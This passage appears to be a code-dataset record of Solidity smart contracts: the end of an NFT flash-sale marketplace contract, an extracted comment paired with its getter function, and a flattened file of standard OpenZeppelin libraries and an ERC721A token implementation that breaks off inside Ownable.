flashSale.purchaseLimitation, "total amount to purchase exceeds the limitation of an address"); // check whether the amount of token rest in flash sale is sufficient for this trade require(_amount <= flashSale.base.tokenIDs.length, "insufficient amount of token for this trade"); // pay the receiver flashSaleIDToPurchaseRecord[_saleID][msg.sender] = newPurchaseRecord; uint totalPayment = flashSale.base.price.mul(_amount); IERC20(flashSale.base.payTokenAddress).safeTransferFrom(msg.sender, flashSale.base.receiver, totalPayment); // transfer erc721 tokens to buyer address[] memory tokenAddressesRecord = new address[](_amount); uint[] memory tokenIDsRecord = new uint[](_amount); uint targetIndex = flashSale.base.tokenIDs.length - 1; for (uint i = 0; i < _amount; i++) { IERC721(flashSale.base.tokenAddresses[targetIndex]).safeTransferFrom(flashSale.base.seller, msg.sender, flashSale.base.tokenIDs[targetIndex]); tokenAddressesRecord[i] = flashSale.base.tokenAddresses[targetIndex]; tokenIDsRecord[i] = flashSale.base.tokenIDs[targetIndex]; targetIndex--; flashSales[_saleID].base.tokenAddresses.pop(); flashSales[_saleID].base.tokenIDs.pop(); } if (flashSales[_saleID].base.tokenAddresses.length == 0) { flashSales[_saleID].base.isAvailable = false; } emit Purchase(_saleID, msg.sender, tokenAddressesRecord, tokenIDsRecord, flashSale.base.payTokenAddress, totalPayment); } function getFlashSaleTokenRemaining(uint _saleID) public view returns (uint){ // check whether the flash sale ID exists FlashSale memory flashSale = _getFlashSaleByID(_saleID); return flashSale.base.tokenIDs.length; } function getFlashSalePurchaseRecord(uint _saleID, address _buyer) public view returns (uint){ // check whether the flash sale ID exists _getFlashSaleByID(_saleID); return flashSaleIDToPurchaseRecord[_saleID][_buyer]; } function getAuction(uint _saleID) public view returns (Auction memory){ return _getAuctionByID(_saleID); } function getFlashSale(uint _saleID) public view returns (FlashSale memory){ return _getFlashSaleByID(_saleID); } function _getAuctionByID(uint _saleID) internal view returns (Auction memory auction){ auction = auctions[_saleID]; require(auction.base.seller != address(0), "the target auction doesn't exist"); } function _getFlashSaleByID(uint _saleID) internal view returns (FlashSale memory flashSale){ flashSale = flashSales[_saleID]; require(flashSale.base.seller != address(0), "the target flash sale doesn't exist"); } function _checkAuctionParams( address _baseSaleSetter, address[] memory _tokenAddresses, uint[] memory _tokenIDs, uint _initialPrice, uint _minBidIncrement, uint _startTime, uint _duration ) internal { _checkBaseSaleParams(_baseSaleSetter, _tokenAddresses, _tokenIDs, _initialPrice, _startTime); require(_minBidIncrement > 0, "minBidIncrement must be > 0"); require(_duration > 0, "duration must be > 0"); } function _checkFlashSaleParams( address _baseSaleSetter, address[] memory _tokenAddresses, uint[] memory _tokenIDs, uint _price, uint _startTime, uint _purchaseLimitation ) internal { uint standardLen = _checkBaseSaleParams(_baseSaleSetter, _tokenAddresses, _tokenIDs, _price, _startTime); require(_purchaseLimitation > 0, "purchaseLimitation must be > 0"); require(_purchaseLimitation <= standardLen, "purchaseLimitation must be <= the length of tokenAddresses"); } function _checkBaseSaleParams( address _baseSaleSetter, address[] memory _tokenAddresses, uint[] memory _tokenIDs, uint _price, uint _startTime ) internal returns (uint standardLen){ standardLen = _tokenAddresses.length; require(standardLen > 0, "length of tokenAddresses must be > 0"); require(standardLen == _tokenIDs.length, "length of tokenIDs is wrong"); // check whether the sale setter has the target tokens && approval IERC721 tokenAddressCached; uint tokenIDCached; for (uint i = 0; i < standardLen; i++) { tokenAddressCached = IERC721(_tokenAddresses[i]); tokenIDCached = _tokenIDs[i]; // check repetition require(!repetitionFilter[address(tokenAddressCached)][tokenIDCached], "repetitive ERC721 tokens"); repetitionFilter[address(tokenAddressCached)][tokenIDCached] = true; require(tokenAddressCached.ownerOf(tokenIDCached) == _baseSaleSetter, "unmatched ownership of target ERC721 token"); require( tokenAddressCached.getApproved(tokenIDCached) == address(this) || tokenAddressCached.isApprovedForAll(_baseSaleSetter, address(this)), "the contract hasn't been approved for ERC721 transferring"); } require(_price > 0, "the price or the initial price must be > 0"); require(_startTime >= now, "startTime must be >= now"); // clear filter for (uint i = 0; i < standardLen; i++) { repetitionFilter[_tokenAddresses[i]][_tokenIDs[i]] = false; } } }
check whether the flash sale ID exists
function getFlashSalePurchaseRecord(uint _saleID, address _buyer) public view returns (uint){ _getFlashSaleByID(_saleID); return flashSaleIDToPurchaseRecord[_saleID][_buyer]; }
6,053,705
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: ERC721A.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 private nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = 